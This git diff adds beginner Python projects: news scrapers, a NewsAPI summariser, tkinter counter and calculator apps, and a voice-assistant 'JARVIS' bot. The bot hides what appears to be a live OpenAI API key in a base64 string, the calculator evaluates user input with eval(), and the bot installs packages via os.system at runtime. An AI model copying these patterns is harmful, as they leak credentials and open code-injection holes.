+***Uncomment the line to install newspaper3k first*** +""" + +# ! pip install newspaper3k + +import sys + +import pandas as pd +import requests + +# importing necessary libraries +from bs4 import BeautifulSoup +from newspaper import Article + +# Extracting links for all the pages (1 to 158) of boomlive fake news section +fakearticle_links = [] +for i in range(1, 159): + url = "https://www.boomlive.in/fake-news/" + str(i) + try: + # this might throw an exception if something goes wrong. + page = requests.get(url) + + # send requests + page = requests.get(url) + soup = BeautifulSoup(page.text, "html.parser") + + # Collecting all the links in a list + for content in soup.find_all("h2", attrs={"class": "entry-title"}): + link = content.find("a") + fakearticle_links.append(link.get("href")) + + # this describes what to do if an exception is thrown + except Exception: + # get the exception information + error_type, error_obj, error_info = sys.exc_info() + # print the link that cause the problem + print("ERROR FOR LINK:", url) + # print error info and line that threw the exception + print(error_type, "Line:", error_info.tb_lineno) + continue + +fakearticle_links[:5] + +len(fakearticle_links) + +fakearticle_links[1888:] + + +"""We have to modify the links so that the links actually work as we can see that the string extracted is the last part of the url! + +**We have to add 'https://www.boomlive.in/fake-news' to the extracted links.** +""" + +# Modify the links so that it takes us to the particular website +str1 = "https://www.boomlive.in/fake-news" +fakearticle_links = [str1 + lnk for lnk in fakearticle_links] + +fakearticle_links[6:10] + +"""**The links are modified and is working :)** + +***Creating a dataset of all the fake articles*** +""" + +# Create a dataset for storing the news articles +news_dataset = pd.DataFrame(fakearticle_links, columns=["URL"]) + +news_dataset.head() + +title, text, summary, keywords, published_on, author = ( + [], + [], + [], + [], + [], + [], +) # Creating empty lists to store the data +for Url in fakearticle_links: + article = Article(Url) + + # Call the download and parse methods to download information + try: + article.download() + article.parse() + article.nlp() + except Exception as error: + print(f"exception : {error}") + pass + + # Scrape the contents of article + title.append(article.title) # extracts the title of the article + text.append(article.text) # extracts the whole text of article + summary.append(article.summary) # gives us a summary abou the article + keywords.append(", ".join(article.keywords)) # the main keywords used in it + published_on.append(article.publish_date) # the date on which it was published + author.append(article.authors) # the authors of the article + +"""**Checking the lists created**""" + +text[6] + +keywords[1] + +published_on[6] + +author[6] + +# Adding the columns in the fake news dataset +news_dataset["title"] = title +news_dataset["text"] = text +news_dataset["keywords"] = keywords +news_dataset["published date"] = published_on +news_dataset["author"] = author + +# Check the first five columns of dataset created +news_dataset.head() + +"""**Converting the dataset to a csv file**""" + +news_dataset.to_csv("Fake_news.csv") + +"""**Reading the csv file**""" + +df = pd.read_csv("Fake_news.csv") + +# Checking the last 5 rows of the csv file +df.tail(5) + +"""**Download the csv file in local machine**""" + +from google.colab import files + +files.download("Fake_news.csv") + +"""**Scraping news from Times of India**""" + +TOIarticle_links = [] # Creating an empty list of all the urls of news from Times of India site + +# Extracting links for all the pages (2 to 125) of boomlive fake news section +for i in range(2, 126): + url = "https://timesofindia.indiatimes.com/news/" + str(i) + + try: + # send requests + page = requests.get(url) + soup = BeautifulSoup(page.text, "html.parser") + + # Collecting all the links in a list + for content in soup.find_all("span", attrs={"class": "w_tle"}): + link = content.find("a") + TOIarticle_links.append(link.get("href")) + + # this describes what to do if an exception is thrown + except Exception: + # get the exception information + error_type, error_obj, error_info = sys.exc_info() + # print the link that cause the problem + print("ERROR FOR LINK:", url) + # print error info and line that threw the exception + print(error_type, "Line:", error_info.tb_lineno) + continue + +TOIarticle_links[6:15] + +len(TOIarticle_links) + +str2 = "https://timesofindia.indiatimes.com" +TOIarticle_links = [str2 + lnk for lnk in TOIarticle_links if lnk[0] == "/"] + +TOIarticle_links[5:8] + +len(TOIarticle_links) + +title, text, summary, keywords, published_on, author = ( + [], + [], + [], + [], + [], + [], +) # Creating empty lists to store the data +for Url in TOIarticle_links: + article = Article(Url) + + # Call the download and parse methods to download information + try: + article.download() + article.parse() + article.nlp() + except Exception: + pass + + # Scrape the contents of article + title.append(article.title) # extracts the title of the article + text.append(article.text) # extracts the whole text of article + summary.append(article.summary) # gives us a summary abou the article + keywords.append(", ".join(article.keywords)) # the main keywords used in it + published_on.append(article.publish_date) # the date on which it was published + author.append(article.authors) # the authors of the article + +title[5] + +TOI_dataset = pd.DataFrame(TOIarticle_links, columns=["URL"]) +# Adding the columns in the TOI news dataset +TOI_dataset["title"] = title +TOI_dataset["text"] = text +TOI_dataset["keywords"] = keywords +TOI_dataset["published date"] = published_on +TOI_dataset["author"] = author + +TOI_dataset.head() + +TOI_dataset.to_csv("TOI_news_dataset.csv") + +dt = pd.read_csv("TOI_news_dataset.csv") + +dt.tail(3) + +from google.colab import files + +files.download("TOI_news_dataset.csv") diff --git a/news_oversimplifier.py b/news_oversimplifier.py new file mode 100644 index 00000000000..08b828584ff --- /dev/null +++ b/news_oversimplifier.py @@ -0,0 +1,154 @@ +# news_oversimplifier.py +# Python command-line tool that fetches recent news articles based on a search query using NewsAPI and summarizes the article content using extractive summarization. You can also save the summaries to a text file. + +# (requires API key in .env file) + +import requests +import os +import sys +from dotenv import load_dotenv +from summa.summarizer import summarize + + +def main(): + # loads .env variables + load_dotenv() + API_KEY = os.getenv("NEWS_API_KEY") + + # check validity of command-line arguments + try: + if len(sys.argv) == 2: + news_query = sys.argv[1] + else: + raise IndexError() + except IndexError: + sys.exit("Please provide correct number of command-line arguments") + + try: + # get number of articles from user + while True: + try: + num_articles = int(input("Enter number of articles: ")) + break + except ValueError: + continue + + # fetch news articles based on user's query + articles = fetch_news(API_KEY, query=news_query, max_articles=num_articles) + + # output printing title, summary and no. of words in the summary + for i, article in enumerate(articles): + capitalized_title = capitalize_title(article["title"]) + print(f"\n{i + 1}. {capitalized_title}") + + content = article.get("content") or article.get("description") or "" + if not content.strip(): + print("No content to oversimplify.") + continue + + summary = summarize_text(content) # returns summary + count = word_count(summary) # returns word count + print(f"\nOVERSIMPLIFIED:\n{summary}\n{count} words\n") + + # ask user whether they want to save the output in a txt file + while True: + saving_status = ( + input("Would you like to save this in a text file? (y/n): ") + .strip() + .lower() + ) + if saving_status == "y": + save_summary(article["title"], summary) + break + elif saving_status == "n": + break + else: + print("Try again\n") + continue + + except Exception as e: + print("ERROR:", e) + + +def word_count(text): # pytest in test file + """ + Returns the number of words in the given text. + + args: + text (str): Input string to count words from. + + returns: + int: Number of words in the string. + """ + return len(text.split()) + + +def summarize_text(text, ratio=0.6): # pytest in test file + """ + Summarizes the given text using the summa library. + + args: + text (str): The input text to summarize. + ratio (float): Ratio of the original text to retain in the summary. + + returns: + str: The summarized text, or a fallback message if intro is present or summary is empty. + """ + summary = summarize(text, ratio=ratio) + if summary.lower().startswith("hello, and welcome to decoder!"): + return "No description available for this headline" + else: + return summary.strip() if summary else text + + +def capitalize_title(title): # pytest in test file + """ + Capitalizes all letters in a given article title. + + args: + title (str): The title to format. + + returns: + str: Title in uppercase with surrounding spaces removed. + """ + return title.upper().strip() + + +def fetch_news(api_key, query, max_articles=5): # no pytest + """ + Fetches a list of news articles from NewsAPI based on a query string. + + args: + api_key (str): NewsAPI key loaded from environment. + query (str): The keyword to search for in news articles. + max_articles (int): Maximum number of articles to fetch. + + returns: + list: List of dictionaries, each representing a news article. + + raises: + Exception: If the API response status is not 'ok'. + """ + url = f"https://newsapi.org/v2/everything?q={query}&language=en&apiKey={api_key}&pageSize={max_articles}" + response = requests.get(url) + data = response.json() + if data.get("status") != "ok": + raise Exception("Failed to fetch news:", data.get("message")) + return data["articles"] + + +def save_summary(title, summary, path="summaries.txt"): # no pytest + """ + Appends a formatted summary to a file along with its title. + + args: + title (str): Title of the article. + summary (str): Summarized text to save. + path (str): File path to save the summary, i.e. 'summaries.txt' + """ + with open(path, "a", encoding="utf-8") as f: + f.write(f"{title}\n{summary}\n{'=' * 60}\n") + + +if __name__ == "__main__": + main() diff --git a/next_number.py b/next_number.py new file mode 100644 index 00000000000..30a935742b3 --- /dev/null +++ b/next_number.py @@ -0,0 +1,20 @@ +x, li, small, maxx, c = input(), list(), 0, 0, 1 +for i in range(len(x)): + li.append(int(x[i])) +for i in range(len(li) - 1, -1, -1): + if i == 0: + print("No Number Possible") + c = 0 + break + if li[i] > li[i - 1]: + small = i - 1 + maxx = i + break +for i in range(small + 1, len(li)): + if li[i] > li[small] and li[i] < li[maxx]: + maxx = i +li[small], li[maxx] = li[maxx], li[small] +li = li[: small + 1] + sorted(li[small + 1 :]) +if c: + for i in range(len(li)): + print(li[i], end="") diff --git a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/counter_app/counter_app.py b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/counter_app/counter_app.py new file mode 100644 index 00000000000..df070d92a4e --- /dev/null +++ b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/counter_app/counter_app.py @@ -0,0 +1,69 @@ +# Author: Nitkarsh Chourasia +# Date created: 28/12/2023 + +# Import the required libraries +import tkinter as tk +from tkinter import ttk + + +class MyApplication: + """A class to create a counter app.""" + + def __init__(self, master): + # Initialize the master window + self.master = master + # Set the title and geometry of the master window + self.master.title("Counter App") + self.master.geometry("300x300") + + # Create the widgets + self.create_widgets() + + # Create the widgets + def create_widgets(self): + # Create a frame to hold the widgets + frame = ttk.Frame(self.master) + # Pack the frame to the master window + frame.pack(padx=20, pady=20) + + # Create a label to display the counter + self.label = ttk.Label(frame, text="0", font=("Arial Bold", 70)) + # Grid the label to the frame + self.label.grid(row=0, column=0, padx=20, pady=20) + + # Add a button for interaction to increase the counter + add_button = ttk.Button(frame, text="Add", command=self.on_add_click) + # Grid the button to the frame + add_button.grid(row=1, column=0, pady=10) + + # Add a button for interaction to decrease the counter + remove_button = ttk.Button(frame, text="Remove", command=self.on_remove_click) + # Grid the button to the frame + remove_button.grid(row=2, column=0, pady=10) + + # Add a click event handler + def on_add_click(self): + # Get the current text of the label + current_text = self.label.cget("text") + # Convert the text to an integer and add 1 + new_text = int(current_text) + 1 + # Set the new text to the label + self.label.config(text=new_text) + + # Add a click event handler + def on_remove_click(self): + # Get the current text of the label + current_text = self.label.cget("text") + # Convert the text to an integer and subtract 1 + new_text = int(current_text) - 1 + # Set the new text to the label + self.label.config(text=new_text) + + +if __name__ == "__main__": + # Create the root window + root = tk.Tk() + # Create an instance of the application + app = MyApplication(root) + # Run the app + root.mainloop() diff --git a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/hello_world_excla_increment_app/hello_world_incre_decre_(!).py b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/hello_world_excla_increment_app/hello_world_incre_decre_(!).py new file mode 100644 index 00000000000..acdd66f44c7 --- /dev/null +++ b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/hello_world_excla_increment_app/hello_world_incre_decre_(!).py @@ -0,0 +1,50 @@ +import tkinter as tk +from tkinter import ttk + + +class MyApplication: + def __init__(self, master): + self.master = master + # Want to understand why .master.title was used? + self.master.title("Hello World") + + self.create_widgets() + + def create_widgets(self): + frame = ttk.Frame(self.master) + frame.pack(padx=20, pady=20) + # grid and pack are different geometry managers. + self.label = ttk.Label(frame, text="Hello World!", font=("Arial Bold", 50)) + self.label.grid(row=0, column=0, padx=20, pady=20) + + # Add a button for interaction + concat_button = ttk.Button( + frame, text="Click Me!", command=self.on_button_click + ) + concat_button.grid(row=1, column=0, pady=10) + + remove_button = ttk.Button( + frame, text="Remove '!'", command=self.on_remove_click + ) + remove_button.grid(row=2, column=0, pady=10) + + def on_button_click(self): + current_text = self.label.cget("text") + # current_text = self.label["text"] + #! Solve this. + new_text = current_text + "!" + self.label.config(text=new_text) + + def on_remove_click(self): + # current_text = self.label.cget("text") + current_text = self.label["text"] + #! Solve this. + new_text = current_text[:-1] + self.label.config(text=new_text) + # TODO: Can make a char matching function, to remove the last char, if it is a '!'. + + +if __name__ == "__main__": + root = tk.Tk() + app = MyApplication(root) + root.mainloop() diff --git a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py new file mode 100644 index 00000000000..6eddf2d6b85 --- /dev/null +++ b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py @@ -0,0 +1,431 @@ +from tkinter import * + +# To install hupper, use: "pip install hupper" +# On CMD, or Terminal. +import hupper + + +# Python program to create a simple GUI +# calculator using Tkinter + +# Importing everything from tkinter module + +# globally declare the expression variable +# Global variables are those variables that can be accessed and used inside any function. +global expression, equation +expression = "" + + +def start_reloader(): + """Adding a live server for tkinter test GUI, which reloads the GUI when the code is changed.""" + reloader = hupper.start_reloader("p1.main") + + +# Function to update expression +# In the text entry box +def press(num): + """Function to update expression in the text entry box. + + Args: + num (int): The number to be input to the expression. + """ + # point out the global expression variable + global expression, equation + + # concatenation of string + expression = expression + str(num) + + # update the expression by using set method + equation.set(expression) + + +# Function to evaluate the final expression +def equalpress(): + """Function to evaluate the final expression.""" + # Try and except statement is used + # For handling the errors like zero + # division error etc. + + # Put that code inside the try block + # which may generate the error + + try: + global expression, equation + # eval function evaluate the expression + # and str function convert the result + # into string + + #! Is using eval() function, safe? + #! Isn't it a security risk?! + + total = str(eval(expression)) + equation.set(total) + + # Initialize the expression variable + # by empty string + + expression = "" + + # if error is generate then handle + # by the except block + + except: + equation.set(" Error ") + expression = "" + + +# Function to clear the contents +# of text entry box + + +def clear_func(): + """Function to clear the contents of text entry box.""" + global expression, equation + expression = "" + equation.set("") + + +def close_app(): + """Function to close the app.""" + global gui # Creating a global variable + return gui.destroy() + + +# Driver code +def main(): + """Driver code for the GUI calculator.""" + # create a GUI window + + global gui # Creating a global variable + gui = Tk() + global equation + equation = StringVar() + + # set the background colour of GUI window + gui.configure(background="grey") + + # set the title of GUI window + gui.title("Simple Calculator") + + # set the configuration of GUI window + gui.geometry("270x160") + + # StringVar() is the variable class + # we create an instance of this class + + # create the text entry box for + # showing the expression . + + expression_field = Entry(gui, textvariable=equation) + + # grid method is used for placing + # the widgets at respective positions + # In table like structure. + + expression_field.grid(columnspan=4, ipadx=70) + + # create a Buttons and place at a particular + # location inside the root windows. + # when user press the button, the command or + # function affiliated to that button is executed. + + # Embedding buttons to the GUI window. + # Button 1 = int(1) + button1 = Button( + gui, + text=" 1 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(1), + height=1, + width=7, + ) + button1.grid(row=2, column=0) + + # Button 2 = int(2) + button2 = Button( + gui, + text=" 2 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(2), + height=1, + width=7, + ) + button2.grid(row=2, column=1) + + # Button 3 = int(3) + button3 = Button( + gui, + text=" 3 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(3), + height=1, + width=7, + ) + button3.grid(row=2, column=2) + + # Button 4 = int(4) + button4 = Button( + text=" 4 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(4), + height=1, + width=7, + ) + button4.grid(row=3, column=0) + + # Button 5 = int(5) + button5 = Button( + text=" 5 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(5), + height=1, + width=7, + ) + button5.grid(row=3, column=1) + + # Button 6 = int(6) + button6 = Button( + text=" 6 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(6), + height=1, + width=7, + ) + button6.grid(row=3, column=2) + + # Button 7 = int(7) + button7 = Button( + text=" 7 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(7), + height=1, + width=7, + ) + button7.grid(row=4, column=0) + + # Button 8 = int(8) + button8 = Button( + text=" 8 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(8), + height=1, + width=7, + ) + button8.grid(row=4, column=1) + + # Button 9 = int(9) + button9 = Button( + text=" 9 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(9), + height=1, + width=7, + ) + button9.grid(row=4, column=2) + + # Button 0 = int(0) + button0 = Button( + text=" 0 ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press(0), + height=1, + width=7, + ) + button0.grid(row=5, column=0) + + # Embedding the operator buttons. + + # Button + = inputs "+" operator. + plus = Button( + gui, + text=" + ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press("+"), + height=1, + width=7, + ) + plus.grid(row=2, column=3) + + # Button - = inputs "-" operator. + minus = Button( + gui, + text=" - ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press("-"), + height=1, + width=7, + ) + minus.grid(row=3, column=3) + + # Button * = inputs "*" operator. + multiply = Button( + gui, + text=" * ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press("*"), + height=1, + width=7, + ) + multiply.grid(row=4, column=3) + + # Button / = inputs "/" operator. + divide = Button( + gui, + text=" / ", + fg="#FFFFFF", + bg="#000000", + command=lambda: press("/"), + height=1, + width=7, + ) + divide.grid(row=5, column=3) + + # Button = = inputs "=" operator. + equal = Button( + gui, + text=" = ", + fg="#FFFFFF", + bg="#000000", + command=equalpress, + height=1, + width=7, + ) + equal.grid(row=5, column=2) + + # Button Clear = clears the input field. + clear = Button( + gui, + text="Clear", + fg="#FFFFFF", + bg="#000000", + command=clear_func, + height=1, + width=7, + ) + clear.grid(row=5, column=1) # Why this is an in string, the column? + + # Button . = inputs "." decimal in calculations. + Decimal = Button( + gui, + text=".", + fg="#FFFFFF", + bg="#000000", + command=lambda: press("."), + height=1, + width=7, + ) + Decimal.grid(row=6, column=0) + + # gui.after(1000, lambda: gui.focus_force()) # What is this for? + # gui.after(1000, close_app) + + gui.mainloop() + + +class Metadata: + def __init__(self): + # Author Information + self.author_name = "Nitkarsh Chourasia" + self.author_email = "playnitkarsh@gmail.com" + self.gh_profile_url = "https://github.com/NitkarshChourasia" + self.gh_username = "NitkarshChourasia" + + # Project Information + self.project_name = "Simple Calculator" + self.project_description = ( + "A simple calculator app made using Python and Tkinter." + ) + self.project_creation_date = "30-09-2023" + self.project_version = "1.0.0" + + # Edits + self.original_author = "Nitkarsh Chourasia" + self.original_author_email = "playnitkarsh@gmail.com" + self.last_edit_date = "30-09-2023" + self.last_edit_author = "Nitkarsh Chourasia" + self.last_edit_author_email = "playnitkarsh@gmail.com" + self.last_edit_author_gh_profile_url = "https://github.com/NitkarshChourasia" + self.last_edit_author_gh_username = "NitkarshChourasia" + + def display_author_info(self): + """Display author information.""" + print(f"Author Name: {self.author_name}") + print(f"Author Email: {self.author_email}") + print(f"GitHub Profile URL: {self.gh_profile_url}") + print(f"GitHub Username: {self.gh_username}") + + def display_project_info(self): + """Display project information.""" + print(f"Project Name: {self.project_name}") + print(f"Project Description: {self.project_description}") + print(f"Project Creation Date: {self.project_creation_date}") + print(f"Project Version: {self.project_version}") + + def display_edit_info(self): + """Display edit information.""" + print(f"Original Author: {self.original_author}") + print(f"Original Author Email: {self.original_author_email}") + print(f"Last Edit Date: {self.last_edit_date}") + print(f"Last Edit Author: {self.last_edit_author}") + print(f"Last Edit Author Email: {self.last_edit_author_email}") + print( + f"Last Edit Author GitHub Profile URL: {self.last_edit_author_gh_profile_url}" + ) + print(f"Last Edit Author GitHub Username: {self.last_edit_author_gh_username}") + + def open_github_profile(self) -> None: + """Open the author's GitHub profile in a new tab.""" + import webbrowser + + return webbrowser.open_new_tab(self.gh_profile_url) + + +if __name__ == "__main__": + # start_reloader() + main() + + # # Example usage: + # metadata = Metadata() + + # # Display author information + # metadata.display_author_info() + + # # Display project information + # metadata.display_project_info() + + # # Display edit information + # metadata.display_edit_info() + +# TODO: More features to add: +# Responsive design is not there. +# The program is not OOP based, there is lots and lots of repetitions. +# Bigger fonts. +# Adjustable everything. +# Default size, launch, but customizable. +# Adding history. +# Being able to continuosly operate on a number. +# What is the error here, see to it. +# To add Author Metadata. + +# TODO: More features will be added, soon. + + +# Working. +# Perfect. +# Complete. +# Do not remove the comments, they make the program understandable. +# Thank you. :) ❤️ +# Made with ❤️ diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/.vscode/settings.json b/nitkarshchourasia/to_sort/JARVIS_python_bot/.vscode/settings.json new file mode 100644 index 00000000000..75661b5cbba --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/.vscode/settings.json @@ -0,0 +1,20 @@ +{ + "cSpell.words": [ + "extention", + "gtts", + "initialisation", + "mspaint", + "myobj", + "openai", + "playsound", + "pynput", + "pyttsx", + "stickynot", + "Stiky", + "stikynot", + "takecommand", + "whenver", + "wishme", + "yourr" + ] +} diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py new file mode 100644 index 00000000000..ded1c86bcd3 --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py @@ -0,0 +1,334 @@ +######### + +__author__ = "Nitkarsh Chourasia " +__version__ = "v 0.1" + +""" +JARVIS: +- Control windows programs with your voice +""" + +# import modules +import datetime # datetime module supplies classes for manipulating dates and times +import subprocess # subprocess module allows you to spawn new processes + +# master +import pyjokes # for generating random jokes +import requests +import json +from PIL import ImageGrab +from gtts import gTTS + +# for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) +from pynput import keyboard +from pynput.keyboard import Key +from pynput.mouse import Controller +from playsound import * # for sound output + + +# master +# auto install for pyttsx3 and speechRecognition +import os + +try: + import pyttsx3 # Check if already installed +except: # If not installed give exception + os.system("pip install pyttsx3") # install at run time + import pyttsx3 # import again for speak function + +try: + import speech_recognition as sr +except: + os.system("pip install speechRecognition") + import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. + +# importing the pyttsx3 library +import webbrowser +import smtplib + +# initialisation +engine = pyttsx3.init() +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) +engine.setProperty("rate", 150) +exit_jarvis = False + + +def speak(audio): + engine.say(audio) + engine.runAndWait() + + +def speak_news(): + url = "http://newsapi.org/v2/top-headlines?sources=the-times-of-india&apiKey=yourapikey" + news = requests.get(url).text + news_dict = json.loads(news) + arts = news_dict["articles"] + speak("Source: The Times Of India") + speak("Todays Headlines are..") + for index, articles in enumerate(arts): + speak(articles["title"]) + if index == len(arts) - 1: + break + speak("Moving on the next news headline..") + speak("These were the top headlines, Have a nice day Sir!!..") + + +def sendEmail(to, content): + server = smtplib.SMTP("smtp.gmail.com", 587) + server.ehlo() + server.starttls() + server.login("youremail@gmail.com", "yourr-password-here") + server.sendmail("youremail@gmail.com", to, content) + server.close() + + +import openai +import base64 + +# Will learn it. +stab = base64.b64decode( + b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx" +).decode("utf-8") +api_key = stab + + +def ask_gpt3(que): + openai.api_key = api_key + + response = openai.Completion.create( + engine="text-davinci-002", + prompt=f"Answer the following question: {question}\n", + max_tokens=150, + n=1, + stop=None, + temperature=0.7, + ) + + answer = response.choices[0].text.strip() + return answer + + +def wishme(): + # This function wishes user + hour = int(datetime.datetime.now().hour) + if hour >= 0 and hour < 12: + speak("Good Morning!") + elif hour >= 12 and hour < 18: + speak("Good Afternoon!") + else: + speak("Good Evening!") + speak("I m Jarvis ! how can I help you sir") + + +# obtain audio from the microphone +def takecommand(): + # it takes user's command and returns string output + wishme() + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + r.dynamic_energy_threshold = 500 + audio = r.listen(source) + try: + print("Recognizing...") + query = r.recognize_google(audio, language="en-in") + print(f"User said {query}\n") + except Exception: + print("Say that again please...") + return "None" + return query + + +# for audio output instead of print +def voice(p): + myobj = gTTS(text=p, lang="en", slow=False) + myobj.save("try.mp3") + playsound("try.mp3") + + +# recognize speech using Google Speech Recognition + + +def on_press(key): + if key == keyboard.Key.esc: + return False # stop listener + try: + k = key.char # single-char keys + except: + k = key.name # other keys + if k in ["1", "2", "left", "right"]: # keys of interest + # self.keys.append(k) # store it in global-like variable + print("Key pressed: " + k) + return False # stop listener; remove this if want more keys + + +# Run Application with Voice Command Function +# only_jarvis +def on_release(key): + print("{0} release".format(key)) + if key == Key.esc(): + # Stop listener + return False + """ +class Jarvis: + def __init__(self, Q): + self.query = Q + + def sub_call(self, exe_file): + ''' + This method can directly use call method of subprocess module and according to the + argument(exe_file) passed it returns the output. + + exe_file:- must pass the exe file name as str object type. + + ''' + return subprocess.call([exe_file]) + + def get_dict(self): + ''' + This method returns the dictionary of important task that can be performed by the + JARVIS module. + + Later on this can also be used by the user itself to add or update their preferred apps. + ''' + _dict = dict( + time=datetime.now(), + notepad='Notepad.exe', + calculator='calc.exe', + stickynot='StickyNot.exe', + shell='powershell.exe', + paint='mspaint.exe', + cmd='cmd.exe', + browser='C:\\Program Files\\Internet Explorer\\iexplore.exe', + ) + return _dict + + @property + def get_app(self): + task_dict = self.get_dict() + task = task_dict.get(self.query, None) + if task is None: + engine.say("Sorry Try Again") + engine.runAndWait() + else: + if 'exe' in str(task): + return self.sub_call(task) + print(task) + return + + +# ======= +""" + + +def get_app(Q): + current = Controller() + # master + if Q == "time": + print(datetime.now()) + x = datetime.now() + voice(x) + elif Q == "news": + speak_news() + + elif Q == "open notepad": + subprocess.call(["Notepad.exe"]) + elif Q == "open calculator": + subprocess.call(["calc.exe"]) + elif Q == "open stikynot": + subprocess.call(["StikyNot.exe"]) + elif Q == "open shell": + subprocess.call(["powershell.exe"]) + elif Q == "open paint": + subprocess.call(["mspaint.exe"]) + elif Q == "open cmd": + subprocess.call(["cmd.exe"]) + elif Q == "open discord": + subprocess.call(["discord.exe"]) + elif Q == "open browser": + subprocess.call(["C:\\Program Files\\Internet Explorer\\iexplore.exe"]) + # patch-1 + elif Q == "open youtube": + webbrowser.open("https://www.youtube.com/") # open youtube + elif Q == "open google": + webbrowser.open("https://www.google.com/") # open google + elif Q == "open github": + webbrowser.open("https://github.com/") + elif Q == "search for": + que = Q.lstrip("search for") + answer = ask_gpt3(que) + + elif ( + Q == "email to other" + ): # here you want to change and input your mail and password whenver you implement + try: + speak("What should I say?") + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + audio = r.listen(source) + to = "abc@gmail.com" + content = input("Enter content") + sendEmail(to, content) + speak("Email has been sent!") + except Exception as e: + print(e) + speak("Sorry, I can't send the email.") + # ======= + # master + elif Q == "Take screenshot": + snapshot = ImageGrab.grab() + drive_letter = "C:\\" + folder_name = r"downloaded-files" + folder_time = datetime.datetime.now().strftime("%Y-%m-%d_%I-%M-%S_%p") + extention = ".jpg" + folder_to_save_files = drive_letter + folder_name + folder_time + extention + snapshot.save(folder_to_save_files) + + elif Q == "Jokes": + speak(pyjokes.get_joke()) + + elif Q == "start recording": + current.add("Win", "Alt", "r") + speak("Started recording. just say stop recording to stop.") + + elif Q == "stop recording": + current.add("Win", "Alt", "r") + speak("Stopped recording. check your game bar folder for the video") + + elif Q == "clip that": + current.add("Win", "Alt", "g") + speak("Clipped. check you game bar file for the video") + with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: + listener.join() + elif Q == "take a break": + exit() + else: + answer = ask_gpt3(Q) + + # master + + apps = { + "time": datetime.datetime.now(), + "notepad": "Notepad.exe", + "calculator": "calc.exe", + "stikynot": "StikyNot.exe", + "shell": "powershell.exe", + "paint": "mspaint.exe", + "cmd": "cmd.exe", + "browser": r"C:\\Program Files\Internet Explorer\iexplore.exe", + "vscode": r"C:\\Users\\Users\\User\\AppData\\Local\\Programs\Microsoft VS Code", + } + # master + + +# Call get_app(Query) Func. + +if __name__ == "__main__": + while not exit_jarvis: + Query = takecommand().lower() + get_app(Query) + exit_jarvis = True diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/README.md b/nitkarshchourasia/to_sort/JARVIS_python_bot/README.md new file mode 100644 index 00000000000..5efda100e1f --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/README.md @@ -0,0 +1,16 @@ +# JARVIS +patch-5
+It can Control windows programs with your voice.
+What can it do: +1. It can tell you time.
+2. It can open, These of the following:-
a.) Notepad
+ b.) Calculator
+ c.) Sticky Note
+ d.) PowerShell
+ e.) MS Paint
+ f.) cmd
+ g.) Browser (Internet Explorer)
+ +It will make your experience better while using the Windows computer. +=========================================================================== +It demonstrates Controlling windows programs with your voice. diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/check_internet_con.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/check_internet_con.py new file mode 100644 index 00000000000..a24c23608f2 --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/check_internet_con.py @@ -0,0 +1,32 @@ +from sys import argv + +try: + # For Python 3.0 and later + from urllib.error import URLError + from urllib.request import urlopen +except ImportError: + # Fall back to Python 2's urllib2 + from urllib2 import URLError, urlopen + + +def checkInternetConnectivity(): + try: + url = argv[1] + print(url) + protocols = ["https://", "http://"] + if not any(x for x in protocols if x in url): + url = "https://" + url + print("URL:" + url) + except BaseException: + url = "https://google.com" + try: + urlopen(url, timeout=2) + print(f'Connection to "{url}" is working') + + except URLError as E: + print("Connection error:%s" % E.reason) + + +checkInternetConnectivity() + +# This can be implemented in Jarvis.py diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/features_to_add.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/features_to_add.py new file mode 100644 index 00000000000..129fba0bbd2 --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/features_to_add.py @@ -0,0 +1,15 @@ +# imports modules +import time +from getpass import getuser + +# user puts in their name +name = getuser() +name_check = input("Is your name " + name + "? → ") +if name_check.lower().startswith("y"): + print("Okay.") + time.sleep(1) + +if name_check.lower().startswith("n"): + name = input("Then what is it? → ") + +# Can add this feature to the Jarvis. diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/requirements.txt 